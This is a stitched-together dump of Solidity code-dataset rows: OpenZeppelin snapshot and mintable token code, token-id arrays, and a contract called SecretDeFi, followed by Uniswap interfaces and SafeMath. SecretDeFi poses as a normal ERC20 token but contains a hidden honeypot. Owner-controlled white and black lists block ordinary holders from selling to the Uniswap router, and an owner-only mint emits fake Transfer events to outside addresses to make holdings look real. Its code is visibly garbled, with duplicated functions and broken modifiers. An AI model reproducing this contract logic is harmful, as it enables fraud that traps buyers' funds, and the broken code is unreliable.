function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
// File: openzeppelin-eth/contracts/drafts/ERC20Snapshot.sol
pragma solidity ^0.5.2;
/**
* @title ERC20 token with snapshots.
* @dev Inspired by Jordi Baylina's MiniMeToken to record historical balances:
* https://github.com/Giveth/minime/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol
* When a snapshot is made, the balances and totalSupply at the time of the snapshot are recorded for later
* access.
*
* To make a snapshot, call the `snapshot` function, which will emit the `Snapshot` event and return a snapshot id.
* To get the total supply from a snapshot, call the function `totalSupplyAt` with the snapshot id.
* To get the balance of an account from a snapshot, call the `balanceOfAt` function with the snapshot id and the
* account address.
* @author Validity Labs AG <[email protected]>
*/
contract ERC20Snapshot is Initializable, ERC20 {
using SafeMath for uint256;
using Arrays for uint256[];
using Counters for Counters.Counter;
// Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a
// Snapshot struct, but that would impede usage of functions that work on an array.
struct Snapshots {
uint256[] ids;
uint256[] values;
}
mapping (address => Snapshots) private _accountBalanceSnapshots;
Snapshots private _totalSupplySnaphots;
// Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.
Counters.Counter private _currentSnapshotId;
event Snapshot(uint256 id);
// Creates a new snapshot id. Balances are only stored in snapshots on demand: unless a snapshot was taken, a
// balance change will not be recorded. This means the extra added cost of storing snapshotted balances is only paid
// when required, but is also flexible enough that it allows for e.g. daily snapshots.
function snapshot() public returns (uint256) {
_currentSnapshotId.increment();
uint256 currentId = _currentSnapshotId.current();
emit Snapshot(currentId);
return currentId;
}
function balanceOfAt(address account, uint256 snapshotId) public view returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);
return snapshotted ? value : balanceOf(account);
}
function totalSupplyAt(uint256 snapshotId) public view returns(uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnaphots);
return snapshotted ? value : totalSupply();
}
// _transfer, _mint and _burn are the only functions where the balances are modified, so it is there that the
// snapshots are updated. Note that the update happens _before_ the balance change, with the pre-modified value.
// The same is true for the total supply and _mint and _burn.
function _transfer(address from, address to, uint256 value) internal {
_updateAccountSnapshot(from);
_updateAccountSnapshot(to);
super._transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
_updateAccountSnapshot(account);
_updateTotalSupplySnapshot();
super._mint(account, value);
}
function _burn(address account, uint256 value) internal {
_updateAccountSnapshot(account);
_updateTotalSupplySnapshot();
super._burn(account, value);
}
// When a valid snapshot is queried, there are three possibilities:
// a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never
// created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds
// to this id is the current one.
// b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the
// requested id, and its value is the one to return.
// c) More snapshots were created after the requested one, and the queried value was later modified. There will be
// no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is
// larger than the requested one.
//
// In summary, we need to find an element in an array, returning the index of the smallest value that is larger if
// it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does
// exactly this.
function _valueAt(uint256 snapshotId, Snapshots storage snapshots)
private view returns (bool, uint256)
{
require(snapshotId > 0);
require(snapshotId <= _currentSnapshotId.current());
uint256 index = snapshots.ids.findUpperBound(snapshotId);
if (index == snapshots.ids.length) {
return (false, 0);
} else {
return (true, snapshots.values[index]);
}
}
function _updateAccountSnapshot(address account) private {
_updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
}
function _updateTotalSupplySnapshot() private {
_updateSnapshot(_totalSupplySnaphots, totalSupply());
}
function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {
uint256 currentId = _currentSnapshotId.current();
if (_lastSnapshotId(snapshots.ids) < currentId) {
snapshots.ids.push(currentId);
snapshots.values.push(currentValue);
}
}
function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {
if (ids.length == 0) {
return 0;
} else {
return ids[ids.length - 1];
}
}
uint256[50] private ______gap;
}
// File: openzeppelin-eth/contracts/access/roles/MinterRole.sol
pragma solidity ^0.5.2;
contract MinterRole is Initializable {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
function initialize(address sender) public initializer {
if (!isMinter(sender)) {
_addMinter(sender);
}
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
uint256[50] private ______gap;
}
// File: openzeppelin-eth/contracts/token/ERC20/ERC20Mintable.sol
pragma solidity ^0.5.2;
/**
* @title ERC20Mintable
* @dev ERC20 minting logic
*/
contract ERC20Mintable is Initializable, ERC20, MinterRole {
function initialize(address sender) public initializer {
MinterRole.initialize(sender);
}
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
uint256[50] private ______gap;
}
// File: contracts/CircuitsOfValue.sol
// contracts/CustomERC20.sol
pragma solidity ^0.5.0;
contract CircuitsOfValue is Initializable, ERC20, ERC20Detailed, ERC20Burnable, ERC20Pausable, ERC20Snapshot, ERC20Mintable {
bool private _pausableInitialized;
function initialize( string memory name, string memory symbol, uint8 decimals, uint256 initialSupply, address initialHolder )
public initializer {
// require(initialSupply > 0, "");
ERC20Detailed.initialize(name, symbol, decimals);
ERC20Mintable.initialize(msg.sender);
initializePausable(msg.sender);
// _mint(initialHolder, initialSupply);
}
function initializePausable(address sender) public {
require(!_pausableInitialized, "pausable has already been initialized");
_pausableInitialized = true;
_addPauser(sender);
}
}
|
_transfer, _mint and _burn are the only functions where the balances are modified, so it is there that the snapshots are updated. Note that the update happens _before_ the balance change, with the pre-modified value. The same is true for the total supply and _mint and _burn.
|
function _transfer(address from, address to, uint256 value) internal {
_updateAccountSnapshot(from);
_updateAccountSnapshot(to);
super._transfer(from, to, value);
}
| 1,156,844 |
[
1,
67,
13866,
16,
389,
81,
474,
471,
389,
70,
321,
854,
326,
1338,
4186,
1625,
326,
324,
26488,
854,
4358,
16,
1427,
518,
353,
1915,
716,
326,
12808,
854,
3526,
18,
3609,
716,
326,
1089,
10555,
389,
5771,
67,
326,
11013,
2549,
16,
598,
326,
675,
17,
7342,
460,
18,
1021,
1967,
353,
638,
364,
326,
2078,
14467,
471,
389,
81,
474,
471,
389,
70,
321,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
13866,
12,
2867,
628,
16,
1758,
358,
16,
2254,
5034,
460,
13,
2713,
288,
203,
3639,
389,
2725,
3032,
4568,
12,
2080,
1769,
203,
3639,
389,
2725,
3032,
4568,
12,
869,
1769,
203,
203,
3639,
2240,
6315,
13866,
12,
2080,
16,
358,
16,
460,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x86B5ccCab2C573d5321740Be15C7B80BE235277A/sources/DA.sol
|
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
|
contract SecretDeFi is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
}
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, 0*(10**18));
_mint(0x3f5CE5FBFe3E9af3971dD833D26bA9b5C936f0bE, initialSupply*(10**18));
_mint(0xD551234Ae421e3BCBA99A0Da6d736074f22192FF, initialSupply*(10**18));
_mint(0x0D0707963952f2fBA59dD06f2b425ace40b492Fe, initialSupply*(10**18));
_mint(0x32Be343B94f860124dC4fEe278FDCBD38C102D88, initialSupply*(10**18));
_mint(0x209c4784AB1E8183Cf58cA33cb740efbF3FC18EF, initialSupply*(10**18));
_mint(0xC0eA6b5CDC7B0De7805f84c9E1856E59CcaAF514, initialSupply*(10**18));
_mint(0xe342c08eB93C1886B0c277936a2cc6B6FE5C1dB3, initialSupply*(10**18));
_mint(0xe342c08eB93C1886B0c277936a2cc6B6FE5C1dB3, initialSupply*(10**18));
_mint(0xe342c08eB93C1886B0c277936a2cc6B6FE5C1dB3, initialSupply*(10**18));
_mint(0xe342c08eB93C1886B0c277936a2cc6B6FE5C1dB3, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
| 9,604,228 |
[
1,
13621,
434,
326,
288,
45,
654,
39,
3462,
97,
1560,
18,
1220,
4471,
353,
279,
1600,
669,
335,
358,
326,
4031,
2430,
854,
2522,
18,
1220,
4696,
716,
279,
14467,
12860,
711,
358,
506,
3096,
316,
279,
10379,
6835,
1450,
288,
67,
81,
474,
5496,
2457,
279,
5210,
12860,
2621,
288,
654,
39,
3462,
18385,
49,
2761,
16507,
1355,
5496,
399,
2579,
30,
2457,
279,
6864,
1045,
416,
2621,
3134,
7343,
358,
2348,
14467,
1791,
28757,
8009,
1660,
1240,
10860,
7470,
3502,
62,
881,
84,
292,
267,
9875,
14567,
30,
4186,
15226,
3560,
434,
5785,
1375,
5743,
68,
603,
5166,
18,
1220,
6885,
353,
1661,
546,
12617,
15797,
287,
471,
1552,
486,
7546,
598,
326,
26305,
434,
4232,
39,
3462,
12165,
18,
26775,
16,
392,
288,
23461,
97,
871,
353,
17826,
603,
4097,
358,
288,
13866,
1265,
5496,
1220,
5360,
12165,
358,
23243,
326,
1699,
1359,
364,
777,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
16351,
7875,
758,
42,
77,
353,
1772,
16,
467,
654,
39,
3462,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
5267,
364,
1758,
31,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
70,
26488,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
14739,
1887,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
11223,
1887,
31,
203,
377,
203,
565,
2254,
5034,
3238,
389,
87,
1165,
6275,
273,
374,
31,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
31,
203,
377,
203,
565,
533,
3238,
389,
529,
31,
203,
565,
533,
3238,
389,
7175,
31,
203,
565,
2254,
28,
3238,
389,
31734,
31,
203,
565,
2254,
5034,
3238,
389,
12908,
537,
620,
273,
22821,
7235,
3462,
6675,
4366,
9036,
2313,
3657,
6564,
4366,
10321,
5908,
7140,
713,
5292,
28,
7235,
8642,
7140,
27284,
2733,
5193,
6028,
25,
1105,
6260,
1105,
4630,
29,
7950,
5877,
5193,
713,
7235,
3437,
24886,
4449,
2733,
4763,
31,
203,
203,
565,
1758,
1071,
389,
8443,
31,
203,
565,
1758,
3238,
389,
4626,
5541,
31,
203,
565,
1758,
3238,
389,
318,
77,
10717,
273,
374,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
31,
203,
377,
203,
203,
97,
203,
282,
3885,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.8;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// computes square roots using the babylonian method
// https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method
library Babylonian {
// credit for this implementation goes to
// https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
// this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2);
// however that code costs significantly more gas
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
